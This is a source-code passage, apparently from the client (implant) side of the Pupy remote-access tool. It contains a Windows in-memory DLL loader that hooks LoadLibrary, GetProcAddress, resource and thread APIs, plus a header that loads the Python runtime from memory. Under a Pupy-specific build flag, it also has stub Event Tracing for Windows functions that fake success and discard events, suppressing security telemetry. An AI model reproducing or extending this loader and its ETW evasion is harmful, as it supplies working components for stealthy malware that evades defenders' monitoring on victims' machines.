LPCSTR type, WORD language); HMEMORYRSRC MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language); DWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource); LPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource); #ifdef __cplusplus } #endif #endif // __MEMORY_MODULE_HEADER ================================================ FILE: client/sources-windows-py3/MyLoadLibrary.c ================================================ #include "MemoryModule.h" #include "MyLoadLibrary.h" #include #include #include "uthash.h" #include "debug.h" typedef struct _ORIGINAL_THREAD_ARGS { LPTHREAD_START_ROUTINE lpOriginalRoutine; LPVOID lpOriginalParameter; LPTOP_LEVEL_EXCEPTION_FILTER lpExceptionFilter; } ORIGINAL_THREAD_ARGS, *PORIGINAL_THREAD_ARGS; typedef struct { PSTR name; PSTR fileName; LPTOP_LEVEL_EXCEPTION_FILTER ehFilter; HCUSTOMMODULE module; int refcount; int pin; UT_hash_handle by_name; UT_hash_handle by_filename; UT_hash_handle by_module; } HCUSTOMLIBRARY, *PHCUSTOMLIBRARY; typedef struct { PHCUSTOMLIBRARY by_module; PHCUSTOMLIBRARY by_name; PHCUSTOMLIBRARY by_filename; CRITICAL_SECTION lock; PDL_CALLBACKS pCallbacks; } HLIBRARIES, *PHLIBRARIES; static PHLIBRARIES libraries = NULL; static LPTOP_LEVEL_EXCEPTION_FILTER lpDefaultExceptionHandler = NULL; VOID MySetLibraries(PVOID pLibraries) { if (!libraries) { dprint("Initialize libraries with: %p\n", pLibraries); libraries = pLibraries; } else { dprint("Libraries already initialized\n"); } } PVOID MyGetLibraries() { return (PVOID) libraries; } static PHCUSTOMLIBRARY _FindMemoryModuleByAddress( PVOID pvAddress, PVOID *ppvBaseAddress) { PHCUSTOMLIBRARY module, tmp; UINT_PTR uiAddress = (UINT_PTR) pvAddress; if (!pvAddress) return NULL; HASH_ITER(by_module, libraries->by_module, module, tmp) { PVOID pvBaseAddress = NULL; ULONG ulSize = 0; if (GetMemoryModuleInfo(module->module, &pvBaseAddress, &ulSize)) { UINT_PTR uiBaseAddress = (UINT_PTR) pvBaseAddress; if (uiAddress >= uiBaseAddress && uiAddress <= (uiBaseAddress + ulSize)) { if (ppvBaseAddress) *ppvBaseAddress = pvBaseAddress; return module; } } } return NULL; } /**************************************************************** * Search for a loaded MemoryModule in the linked list, either by name * or by module handle. */ static PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module) { PHCUSTOMLIBRARY phIdx = NULL; if (!name && !module) return NULL; if (!libraries) return NULL; EnterCriticalSection(&libraries->lock); if (name) { LPCSTR srcName = NULL; PSTR psName; PSTR psFileName; PSTR psi; size_t len, fileNameLen; srcName = strrchr(name, '\\'); if (srcName) srcName ++; if (!srcName || !srcName[0]) { srcName = strrchr(name, '/'); if (srcName) srcName ++; } if (!srcName || !srcName[0]) srcName = name; len = strlen(srcName); fileNameLen = strlen(name); psName = _alloca(len + 1); psFileName = _alloca(fileNameLen + 1); memcpy(psName, srcName, len+1); memcpy(psFileName, name, len+1); _strupr(psName); _strupr(psFileName); psi = strrchr(psName, '.'); if (psi && !strcmp(psi, ".DLL")) *psi = '\0'; for (psi=psFileName; *psi; psi++) if (*psi == '/') *psi = '\\'; HASH_FIND( by_filename, libraries->by_filename, psFileName, fileNameLen, phIdx ); if (!phIdx) { HASH_FIND( by_name, libraries->by_name, psName, len, phIdx ); } dprint( "_FindMemoryModule by name %s -> %p (%p)\n", psName, phIdx, phIdx? phIdx->module : NULL); } else { HASH_FIND( by_module, libraries->by_module, &module, sizeof(void *), phIdx ); dprint("_FindMemoryModule by module %p -> %p (%p)\n", module, phIdx, phIdx? phIdx->module : NULL); } LeaveCriticalSection(&libraries->lock); return phIdx; } static PHCUSTOMLIBRARY _FindMemoryModuleW(LPCWSTR name) { PSTR pszName = NULL; PHCUSTOMLIBRARY hResult = NULL; DWORD dwRequiredSize = WideCharToMultiByte( CP_OEMCP, 0, name, -1, NULL, 0, NULL, NULL ); if (!SUCCEEDED(dwRequiredSize)) return NULL; dwRequiredSize += 1; pszName = LocalAlloc(LMEM_FIXED, dwRequiredSize); if (!pszName) return NULL; dwRequiredSize = WideCharToMultiByte( CP_OEMCP, 0, name, -1, pszName, dwRequiredSize, NULL, NULL ); if (SUCCEEDED(dwRequiredSize)) hResult = _FindMemoryModule(pszName, NULL); LocalFree(pszName); return hResult; } #ifdef _PUPY_PRIVATE_WS2_32 static NTSTATUS CALLBACK MyEtwRegister ( LPCGUID ProviderId, PVOID EnableCallback, PVOID CallbackContext, PULONGLONG RegHandle ) { static ULONGLONG dwFakeRegHandle = 0x80000000; dprint( "MyEtwRegister " "GUID=%08x-%04x-%04x-%02x%02x%02x%02x%02x%02x%02x%02x -> %p\n", ProviderId->Data1, ProviderId->Data2, ProviderId->Data3, ProviderId->Data4[0], ProviderId->Data4[1], ProviderId->Data4[2], ProviderId->Data4[3], ProviderId->Data4[4], ProviderId->Data4[5], ProviderId->Data4[6], ProviderId->Data4[7], dwFakeRegHandle ); *RegHandle = dwFakeRegHandle ++; return ERROR_SUCCESS; } static ULONG CALLBACK MyEtwEventWrite ( ULONGLONG RegHandle, PVOID EventDescriptor, ULONG UserDataCount, PVOID UserData ) { dprint("MyEtwEventWrite (RegHandle: %p)\n", RegHandle); return ERROR_SUCCESS; } static ULONG CALLBACK MyEtwEventWriteFull ( ULONGLONG RegHandle, PVOID EventDescriptor, USHORT EventProperty, LPCGUID ActivityId, LPCGUID RelatedActivityId, ULONG UserDataCount, PVOID UserData ) { dprint("EtwEventWriteFull (RegHandle: %p)\n", RegHandle); return ERROR_SUCCESS; } static NTSTATUS CALLBACK MyEtwUnregister ( ULONGLONG RegHandle ) { dprint("MyEtwUnregister (RegHandle: %p)\n", RegHandle); return ERROR_SUCCESS; } #endif static DL_CALLBACKS callbacks = { MyLoadLibraryA, MyLoadLibraryW, MyLoadLibraryExA, MyLoadLibraryExW, MyGetModuleHandleA, MyGetModuleHandleW, MyGetModuleHandleExA, MyGetModuleHandleExW, MyGetModuleFileNameA, MyGetModuleFileNameW, MyGetProcAddress, MyFreeLibrary, MyFindResourceA, MyFindResourceW, MyFindResourceExA, MyFindResourceExW, MySizeofResource, MyLoadResource, GetProcAddress, GetModuleFileNameA, GetModuleFileNameW, FindResourceExW, SizeofResource, LoadResource, MyCreateThread, #ifdef _PUPY_PRIVATE_WS2_32 MyEtwRegister, MyEtwEventWrite, MyEtwEventWriteFull, MyEtwUnregister #endif }; /**************************************************************** * Insert a MemoryModule into the linked list of loaded modules */ static PHCUSTOMLIBRARY _AddMemoryModule( LPCSTR name, HCUSTOMMODULE module) { PHCUSTOMLIBRARY hmodule = (PHCUSTOMLIBRARY) malloc( sizeof(HCUSTOMLIBRARY)); LPCSTR srcName = NULL; PSTR psi; if (!libraries) { libraries = (PHLIBRARIES) malloc(sizeof(HLIBRARIES)); libraries->by_module = NULL; libraries->by_name = NULL; libraries->by_filename = NULL; libraries->pCallbacks = &callbacks; InitializeCriticalSection(&libraries->lock); dprint("Initialize libraries: %p\n", libraries); } srcName = strrchr(name, '\\'); if (srcName) srcName ++; if (!srcName || !srcName[0]) { srcName = strrchr(name, '/'); if (srcName) srcName ++; } if (!srcName || !srcName[0]) srcName = name; hmodule->refcount = 1; hmodule->pin = 0; hmodule->name = strdup(srcName); hmodule->fileName = strdup(name); hmodule->module = module; hmodule->ehFilter = NULL; _strupr(hmodule->name); _strupr(hmodule->fileName); psi = strchr(hmodule->name, '.'); if (psi && !strcmp(psi, ".DLL")) *psi = '\0'; for (psi=hmodule->fileName; *psi; psi++) if (*psi == '/') *psi = '\\'; EnterCriticalSection(&libraries->lock); HASH_ADD_KEYPTR( by_module, libraries->by_module, &hmodule->module, sizeof(hmodule->module), hmodule ); dprint( "_AddMemoryModule(%s (%s), %p)\n", hmodule->name, hmodule->fileName, module ); HASH_ADD_KEYPTR( by_name, libraries->by_name, hmodule->name, strlen(hmodule->name), hmodule ); HASH_ADD_KEYPTR( by_filename, libraries->by_filename, hmodule->fileName, strlen(hmodule->fileName), hmodule ); LeaveCriticalSection(&libraries->lock); dprint("_AddMemoryModule(%s, %p) -> %p[%d] (hmod=%p)\n", hmodule->name, module, hmodule, hmodule->refcount, module); return hmodule; } /**************************************************************** * Public functions */ DWORD CALLBACK MyGetModuleFileNameW(HMODULE hModule, LPWSTR lpwStr, DWORD dwSize) { PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(NULL, hModule); if (lib) { DWORD dwRet = MemoryModuleFileNameW(lib->module, lpwStr, dwSize); if (dwRet == 0xFFFFFFFF) { dwRet = MultiByteToWideChar( CP_ACP, 0, lib->fileName, strlen(lib->fileName), lpwStr, dwSize ); dprint( "MyGetModuleFileNameW -> %s (conv: %d)\n", lib->fileName, dwRet ); } else { dprint( "MyGetModuleFileNameW -> proxied (ret: %d)\n", dwRet ); } return dwRet; } else { dprint("MyGetModuleFileNameW %p -> unregistered\n", hModule); } return GetModuleFileNameW(hModule, lpwStr, dwSize); } DWORD CALLBACK MyGetModuleFileNameA(HMODULE hModule, LPSTR lpStr, DWORD dwSize) { PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(NULL, hModule); if (lib) { DWORD dwRet = MemoryModuleFileNameA(lib->module, lpStr, dwSize); if (dwRet == 0xFFFFFFFF) { size_t reqSize = strlen(lib->fileName); if (reqSize > dwSize) { SetLastError(ERROR_INSUFFICIENT_BUFFER); dwRet = 0; } else { memcpy(lpStr, lib->fileName, reqSize); if (dwSize >= reqSize + 1) { lpStr[reqSize] = '\0'; } dwRet = reqSize; } dprint( "MyGetModuleFileNameA -> %s (conv: %d)\n", lib->fileName, dwRet ); } else { dprint( "MyGetModuleFileNameA -> proxied (ret: %s/%d)\n", lpStr, dwRet ); } return dwRet; } else { dprint("MyGetModuleFileNameA %p -> unregistered\n", hModule); } return GetModuleFileNameA(hModule, lpStr, dwSize); } HMODULE CALLBACK MyGetModuleHandleA(LPCSTR name) { PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(name, NULL); if (lib) return lib->module; return GetModuleHandleA(name); } static BOOL MyGetModuleHandleEx(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule, BOOL bWide) { PHCUSTOMLIBRARY lib; if (dwFlags & GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS) { dprint("MyGetModuleHandleEx -> by Address (%p)", lpArg); lib = _FindMemoryModuleByAddress(lpArg, NULL); } else { if (bWide) { dwprint(L"MyGetModuleHandleEx -> by Name (%s)", lpArg); lib = _FindMemoryModuleW(lpArg, NULL); } else { dprint("MyGetModuleHandleEx -> by Name (%s)", lpArg); lib = _FindMemoryModule(lpArg, NULL); } } if (!lib) { dprint(" -> NULL\n", phModule); if (bWide) { return GetModuleHandleExW(dwFlags, lpArg, phModule); } else { return GetModuleHandleExA(dwFlags, lpArg, phModule); } } dprint(" -> Found (%p:%s)", lib->module, lib->name); if (dwFlags & GET_MODULE_HANDLE_EX_FLAG_PIN) { dprint(" -> set pin\n"); lib->pin = 1; } else if (! (dwFlags & GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT)) { lib->refcount ++; dprint(" -> incr refcnt (%d)\n", lib->refcount); } else { dprint(" -> do nothing\n", lib->refcount); } if (phModule) *phModule = lib->module; return TRUE; } BOOL CALLBACK MyGetModuleHandleExA(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule) { return MyGetModuleHandleEx(dwFlags, lpArg, phModule, FALSE); } BOOL CALLBACK MyGetModuleHandleExW(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule) { return MyGetModuleHandleEx(dwFlags, lpArg, phModule, TRUE); } HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg) { return MyLoadLibraryEx( name, bytes, dllmainArg, NULL, MEMORY_LOAD_DEFAULT ); } HMODULE MyLoadLibraryEx( LPCSTR name, const void *bytes, void *dllmainArg, const void *pvExports, MEMORY_LOAD_FLAGS flags) { HMODULE hLoadedModule = NULL; dprint("MyLoadLibrary '%s'..\n", name); if (flags & MEMORY_LOAD_FROM_HMODULE) { PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(name, NULL); if (lib) { lib->refcount ++; return lib->module; } } else { hLoadedModule = MyGetModuleHandleA(name); } dprint("MyLoadLibrary %s registered? %p\n", name, hLoadedModule); if (hLoadedModule) return hLoadedModule; if (bytes) { HCUSTOMMODULE mod; PDL_CALLBACKS cb = libraries ? libraries->pCallbacks : &callbacks; dprint("Callbacks: %p\n", cb); mod = MemoryLoadLibraryEx(bytes, cb, dllmainArg, pvExports, flags); dprint( "MyLoadLibrary: loading %s, buf=%p (dllmainArg=%p) -> %p\n", name, bytes, dllmainArg, mod ); if (mod) { PHCUSTOMLIBRARY lib = _AddMemoryModule(name, mod); dprint("MemoryLoadLibraryEx: loaded %s -> %p (%p)\n", name, mod, lib->module); return lib->module; } else { dprint("MemoryLoadLibraryEx(%s, %p) failed\n", name, bytes); } } dprint("MyLoadLibrary: fallback to OS LoadLibrary %s\n", name); return LoadLibrary(name); } HMODULE CALLBACK MyGetModuleHandleW(LPCWSTR name) { PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name); if (hResult) return (HMODULE) hResult; return GetModuleHandleW(name); } HMODULE CALLBACK MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags) { PHCUSTOMLIBRARY hResult = _FindMemoryModule(name, NULL); if (hResult) { hResult->refcount ++; return hResult->module; } return LoadLibraryExA(name, hFile, dwFlags); } HMODULE CALLBACK MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags) { PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name); if (hResult) { hResult->refcount ++; return hResult->module; } return LoadLibraryExW(name, hFile, dwFlags); } HMODULE CALLBACK MyLoadLibraryA(LPCSTR name) { PHCUSTOMLIBRARY hResult = _FindMemoryModule(name, NULL); if (hResult) { hResult->refcount ++; return hResult->module; } return LoadLibraryA(name); } HMODULE CALLBACK MyLoadLibraryW(LPCWSTR name) { PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name); if (hResult) { hResult->refcount ++; return hResult->module; } return LoadLibraryW(name); } BOOL CALLBACK MyFreeLibrary(HMODULE module) { PHCUSTOMLIBRARY lib = _FindMemoryModule(NULL, module); if (lib) { dprint("MyFreeLibrary(%p) -> %s REFCNT: %d PIN: %d\n", module, lib->name, lib->refcount, lib->pin); if (lib->pin == 0 && --lib->refcount == 0) { EnterCriticalSection(&libraries->lock); HASH_DELETE(by_name, libraries->by_name, lib); HASH_DELETE(by_filename, libraries->by_filename, lib); HASH_DELETE(by_module, libraries->by_module, lib); LeaveCriticalSection(&libraries->lock); free(lib->name); free(lib); MemoryFreeLibrary(module); } return TRUE; } else return FreeLibrary(module); } FARPROC CALLBACK MyGetProcAddress(HMODULE module, LPCSTR procname) { PHCUSTOMLIBRARY lib; FARPROC fpFunc = NULL; lib = _FindMemoryModule(NULL, module); if (lib) fpFunc = MemoryGetProcAddress(lib->module, procname); else fpFunc = GetProcAddress(module, procname); if (HIWORD(procname) == 0) { dprint("MyGetProcAddress(%p, %d) -> %p (lib: %p)\n", module, LOWORD(procname), fpFunc, lib); } else { dprint("MyGetProcAddress(%p, %s) -> %p (lib: %p)\n", module, procname, fpFunc, lib); } return fpFunc; } FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname) { HCUSTOMMODULE mod = MyGetModuleHandleA(modulename); void *addr = NULL; /* dprint("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, mod); */ if (mod) { addr = MyGetProcAddress(mod, procname); } /* dprint("MyFindProcAddress(%s, %s) -> %p\n", modulename, procname, addr); */ return addr; } HRSRC CALLBACK MyFindResourceA(HMODULE module, LPCSTR name, LPCSTR type) { HRSRC res; PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(NULL, module); if (lib) res = (HRSRC) MemoryFindResourceA(lib->module, name, type); else res = FindResourceA(module, name, type); dprint("MyFindResourceA(%p, %s, %s) -> %p (%p)\n", module, name, type, res, lib); return res; } HRSRC CALLBACK MyFindResourceW(HMODULE module, LPCWSTR name, LPCWSTR type) { HRSRC res; PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(NULL, module); if (lib) res = (HRSRC) MemoryFindResourceW(lib->module, name, type); else res = FindResourceW(module, name, type); dprint("MyFindResourceA(%p, %p, %p) -> %p (%p)\n", module, name, type, res, lib); return res; } HRSRC CALLBACK MyFindResourceExA(HMODULE hModule, LPCSTR name, LPCSTR type, WORD language) { HRSRC res; PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(NULL, hModule); if (lib) res = (HRSRC) MemoryFindResourceExA(lib->module, name, type, language); else res = FindResourceExA(hModule, name, type, language); dprint("MyFindResourceExA(%p, %s, %s, %d) -> %p (%p)\n", hModule, name, type, language, res, lib); return res; } HRSRC CALLBACK MyFindResourceExW(HMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language) { HRSRC res; PHCUSTOMLIBRARY lib; lib = _FindMemoryModule(NULL, hModule); if (lib) res = (HRSRC) MemoryFindResourceExW(lib->module, name, type, language); else res = FindResourceExW(hModule, name, type, language); dprint("MyFindResourceExA(%p, %p, %p, %d) -> %p (%p)\n", hModule, name, type, language, res, lib); return res; } DWORD CALLBACK MySizeofResource(HMODULE hModule, HRSRC resource) { PHCUSTOMLIBRARY lib; DWORD res; lib = _FindMemoryModule(NULL, hModule); if (lib) res = MemorySizeofResource(lib->module, (HMEMORYRSRC) resource); else res = SizeofResource(hModule, resource); dprint("MySizeofResource(%p, %p) -> %d (%p)\n", hModule, resource, res, lib); return res; } LPVOID CALLBACK MyLoadResource(HMODULE hModule, HRSRC resource) { PHCUSTOMLIBRARY lib; LPVOID res; lib = _FindMemoryModule(NULL, hModule); if (lib) res = MemoryLoadResource(lib->module, (HMEMORYRSRC) resource); else res = LoadResource(hModule, resource); dprint("MyLoadResource(%p, %p) -> %d (%p)\n", hModule, resource, res, lib); return res; } BOOL MySetUnhandledExceptionFilter(LPCSTR pszModuleName, LPTOP_LEVEL_EXCEPTION_FILTER handler) { PHCUSTOMLIBRARY lib; if (!pszModuleName) { lpDefaultExceptionHandler = handler; dprint("Set default thread handler to %p\n", lpDefaultExceptionHandler); return TRUE; } lib = _FindMemoryModule(pszModuleName, NULL); if (!lib) { dprint( "Failed to set default thread handler for %s to %p - module not found\n", pszModuleName, lpDefaultExceptionHandler ); } lib->ehFilter = handler; dprint( "Set default thread handler for %s to %p\n", pszModuleName, lpDefaultExceptionHandler ); return TRUE; } LPTOP_LEVEL_EXCEPTION_FILTER MyGetUnhandledExceptionFilter(VOID) { return lpDefaultExceptionHandler; } LONG WINAPI ThreadUnhandledExceptionFilter( DWORD dwExceptionCode, PEXCEPTION_POINTERS pExceptionPointers, PVOID pvThreadProc, LPTOP_LEVEL_EXCEPTION_FILTER lpFilter, LONG lResult ) { LPCSTR pszName = NULL; LPTOP_LEVEL_EXCEPTION_FILTER lpCustomFilter = NULL; LONG lVerdict = EXCEPTION_CONTINUE_SEARCH; if (dwExceptionCode == EXCEPTION_BREAKPOINT) { dprint( "ThreadUnhandledExceptionFilter (ThreadProc=%p): hit breakpoint (???) - ignore", pvThreadProc ); return EXCEPTION_CONTINUE_SEARCH; } if (MyFindMemoryModuleNameByAddr(pvThreadProc, &pszName, NULL, &lpCustomFilter)) { dprint( "ThreadUnhandledExceptionFilter (ThreadProc=%p) Fatal exception, " "original ThreadProc from %s\n", pvThreadProc, pszName ); if (lpCustomFilter) { lpFilter = lpCustomFilter; dprint( "Using custom exception filter for %s: %p\n", pszName, lpCustomFilter ); } } else { dprint( "ThreadUnhandledExceptionFilter (ThreadProc=%p); " "Handling fatal exception with filter %p\n", pvThreadProc, lpFilter ); } if (lpFilter) lVerdict = lpFilter(pExceptionPointers); return lVerdict; } static DWORD WINAPI WrappedThreadRoutine(LPVOID lpThreadParameter) { DWORD dwResult = 0; ORIGINAL_THREAD_ARGS OriginalThreadArgs; RtlCopyMemory(&OriginalThreadArgs, lpThreadParameter, sizeof(OriginalThreadArgs)); LocalFree(lpThreadParameter); __try { dprint( "Thread wrapper [%p]: Calling original args: %p(%p) filter: %p\n", WrappedThreadRoutine, OriginalThreadArgs.lpOriginalRoutine, OriginalThreadArgs.lpOriginalParameter, OriginalThreadArgs.lpExceptionFilter ); dwResult = OriginalThreadArgs.lpOriginalRoutine( OriginalThreadArgs.lpOriginalParameter ); } __except(ThreadUnhandledExceptionFilter( GetExceptionCode(), GetExceptionInformation(), OriginalThreadArgs.lpOriginalRoutine, OriginalThreadArgs.lpExceptionFilter, EXCEPTION_CONTINUE_SEARCH )) { dprint( "Thread wrapper with original args: %p(%p) fatal error " "and will die, but we'll try to countine\n", OriginalThreadArgs.lpOriginalRoutine, OriginalThreadArgs.lpOriginalParameter ); return (DWORD)(-1); } dprint("Thread wrapper exited (%p)\n", OriginalThreadArgs.lpOriginalRoutine); return dwResult; } HANDLE CALLBACK MyCreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) { PORIGINAL_THREAD_ARGS pOriginalArgsCopy = LocalAlloc( LMEM_FIXED, sizeof(ORIGINAL_THREAD_ARGS) ); dprint( "MyCreateThread(func=%p, args=%p eh=%p)\n", lpStartAddress, lpParameter, lpDefaultExceptionHandler ); if (pOriginalArgsCopy) { pOriginalArgsCopy->lpOriginalRoutine = lpStartAddress; pOriginalArgsCopy->lpOriginalParameter = lpParameter; pOriginalArgsCopy->lpExceptionFilter = lpDefaultExceptionHandler; lpStartAddress = WrappedThreadRoutine; lpParameter = (PVOID) pOriginalArgsCopy; } else { dprint("MyCreateThread: LocalAlloc failed\n"); } return CreateThread( lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId ); } VOID MyEnumerateLibraries(LibraryInfoCb_t callback, PVOID pvCallbackData) { PHCUSTOMLIBRARY module, tmp; if (!callback) return; dprint("Enumerating libraries: %p\n", libraries); dprint("By Module hashmap: %p\n", libraries->by_module); HASH_ITER(by_module, libraries->by_module, module, tmp) { PVOID pvBaseAddress = NULL; ULONG ulSize = 0; dprint("GetMemoryModuleInfo: Try: %p\n", module); if (GetMemoryModuleInfo(module->module, &pvBaseAddress, &ulSize)) { dprint( "GetMemoryModuleInfo %p: name=%s base=%p size=%u callback=%p\n", module, module->name, pvBaseAddress, ulSize, callback ); if (!callback(pvCallbackData, module->name, pvBaseAddress, ulSize)) { dprint("GetMemoryModuleInfo: break requested\n"); break; } dprint("GetMemoryModuleInfo: continue\n"); } else { dprint("GetMemoryModuleInfo failed for %p\n", module); } } dprint("Enumerating libraries: %p - complete\n", libraries); } BOOL MyFindMemoryModuleNameByAddr( PVOID pvAddress, LPCSTR *ppszName, PVOID *ppvBaseAddress, LPTOP_LEVEL_EXCEPTION_FILTER *pehFilter ) { PHCUSTOMLIBRARY module = _FindMemoryModuleByAddress( pvAddress, ppvBaseAddress ); if (!module) { return FALSE; } if (ppszName) *ppszName = module->name; if (pehFilter) *pehFilter = module->ehFilter; return TRUE; } ================================================ FILE: client/sources-windows-py3/MyLoadLibrary.h ================================================ #ifndef GENERALLOADLIBRARY_H #define GENERALLOADLIBRARY_H #include #ifndef CALLBACK #define CALLBACK WINAPI #endif HMODULE MyLoadLibrary(LPCSTR, void *, void *); HMODULE MyLoadLibraryEx(LPCSTR, const PVOID, PVOID, PVOID, DWORD); HMODULE CALLBACK MyLoadLibraryA(LPCSTR); HMODULE CALLBACK MyLoadLibraryW(LPCWSTR); HMODULE CALLBACK MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags); HMODULE CALLBACK MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags); HMODULE CALLBACK MyGetModuleHandleA(LPCSTR name); HMODULE CALLBACK MyGetModuleHandleW(LPCWSTR name); BOOL CALLBACK MyGetModuleHandleExA(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule); BOOL CALLBACK MyGetModuleHandleExW(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule); DWORD CALLBACK MyGetModuleFileNameW(HMODULE, LPWSTR, DWORD); DWORD CALLBACK MyGetModuleFileNameA(HMODULE, LPSTR, DWORD); FARPROC CALLBACK MyGetProcAddress(HMODULE, LPCSTR); BOOL CALLBACK MyFreeLibrary(HMODULE module); HRSRC CALLBACK MyFindResourceA(HMODULE module, LPCSTR name, LPCSTR type); HRSRC CALLBACK MyFindResourceW(HMODULE module, LPCWSTR name, LPCWSTR type); HRSRC CALLBACK MyFindResourceExA(HMODULE hModule, LPCSTR name, LPCSTR type, WORD language); HRSRC CALLBACK MyFindResourceExW(HMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language); DWORD CALLBACK MySizeofResource(HMODULE module, HRSRC resource); LPVOID CALLBACK MyLoadResource(HMODULE module, HRSRC resource); int CALLBACK MyLoadStringA(HMODULE module, UINT id, LPSTR buffer, int maxsize); int CALLBACK MyLoadStringW(HMODULE module, UINT id, LPWSTR buffer, int maxsize); FARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname); HANDLE CALLBACK MyCreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); VOID MySetLibraries(PVOID pLibraries); BOOL MySetUnhandledExceptionFilter( LPCSTR pszModuleName, LPTOP_LEVEL_EXCEPTION_FILTER handler ); LPTOP_LEVEL_EXCEPTION_FILTER MyGetUnhandledExceptionFilter(VOID); PVOID MyGetLibraries(); typedef BOOL (*LibraryInfoCb_t) ( PVOID pvCallbackData, LPCSTR pszName, PVOID pvBaseImage, ULONG ulSize ); VOID MyEnumerateLibraries(LibraryInfoCb_t callback, PVOID pvCallbackData); BOOL MyFindMemoryModuleNameByAddr( PVOID pvAddress, LPCSTR *ppszName, PVOID *ppvBaseAddress, LPTOP_LEVEL_EXCEPTION_FILTER *pehFilter ); #ifndef DLL_QUERY_HMODULE #define DLL_QUERY_HMODULE 6 #endif #endif ================================================ FILE: client/sources-windows-py3/Python-dynload-os.h ================================================ #ifndef PYTHON_DYNLOAD_OS_H #define PYTHON_DYNLOAD_OS_H #include #define PYTHON_LIB_NAME "python310.dll" #include "MyLoadLibrary.h" #include "MemoryModule.h" #include "resource_python_manifest.c" #include "actctx.h" #define FILE_SYSTEM_ENCODING "mbcs" #ifndef PATH_MAX #define PATH_MAX 260 #endif typedef FARPROC (WINAPI *resolve_symbol_t) (HMODULE hModule, const char *name); #define OSAlloc(size) LocalAlloc(LMEM_FIXED, size) #define OSFree(ptr) LocalFree(ptr) static HMODULE OSLoadLibrary(const char *dllname) { HMODULE hModule = NULL; hModule = GetModuleHandle(dllname); if (!hModule) hModule = LoadLibrary(dllname); return hModule; } #define OSResolveSymbol MyGetProcAddress static HMODULE MemLoadLibrary(const char *dllname, char *bytes, size_t size, void *arg) { ULONG_PTR cookie = _My_ActivateActCtx(); HMODULE hModule = MyLoadLibrary(dllname, bytes, arg); _My_DeactivateActCtx(cookie); return hModule; } typedef struct PyPreConfig { int _config_init; int parse_argv; int isolated; int use_environment; int configure_locale; int coerce_c_locale; int coerce_c_locale_warn; int legacy_windows_fs_encoding; int utf8_mode; int dev_mode; int allocator; } PyPreConfig; typedef struct { enum { _PyStatus_TYPE_OK=0, _PyStatus_TYPE_ERROR=1, _PyStatus_TYPE_EXIT=2 } _type; const char *func; const char *err_msg; int exitcode; } PyStatus; typedef struct { /* If length is greater than zero, items must be non-NULL and all items strings must be non-NULL */ Py_ssize_t length; wchar_t **items; } PyWideStringList; typedef struct PyConfig { int _config_init; /* _PyConfigInitEnum value */ int isolated; int use_environment; int dev_mode; int install_signal_handlers; int use_hash_seed; unsigned long hash_seed; int faulthandler; int tracemalloc; int perf_profiling; int import_time; int code_debug_ranges; int show_ref_count; int dump_refs; wchar_t *dump_refs_file; int malloc_stats; wchar_t *filesystem_encoding; wchar_t *filesystem_errors; wchar_t *pycache_prefix; int parse_argv; PyWideStringList orig_argv; PyWideStringList argv; PyWideStringList xoptions; PyWideStringList warnoptions; int site_import; int bytes_warning; int warn_default_encoding; int inspect; int interactive; int optimization_level; int parser_debug; int write_bytecode; int verbose; int quiet; int user_site_directory; int configure_c_stdio; int buffered_stdio; wchar_t *stdio_encoding; wchar_t *stdio_errors; #ifdef _WIN32 int legacy_windows_stdio; #endif wchar_t *check_hash_pycs_mode; int use_frozen_modules; int safe_path; int int_max_str_digits; /* --- Path configuration inputs ------------ */ int pathconfig_warnings; wchar_t *program_name; wchar_t *pythonpath_env; wchar_t *home; wchar_t *platlibdir; /* --- Path configuration outputs ----------- */ int module_search_paths_set; PyWideStringList module_search_paths; wchar_t *stdlib_dir; wchar_t *executable; wchar_t *base_executable; wchar_t *prefix; wchar_t *base_prefix; wchar_t *exec_prefix; wchar_t *base_exec_prefix; /* --- Parameter only used by Py_Main() ---------- */ int skip_source_first_line; wchar_t *run_command; wchar_t *run_module; wchar_t *run_filename; /* --- Private fields ---------------------------- */ // Install importlib? If equals to 0, importlib is not initialized at all. // Needed by freeze_importlib. int _install_importlib; // If equal to 0, stop Python initialization before the "main" phase. int _init_main; // If non-zero, disallow threads, subprocesses, and fork. // Default: 0. int _isolated_interpreter; // If non-zero, we believe we're running from a source tree. int _is_python_build; } PyConfig; #define MemResolveSymbol MyGetProcAddress #define CheckLibraryLoaded MyGetModuleHandleA #define OSUnmapRegion(start, size) do {} while(0) #define DEPENDENCIES { 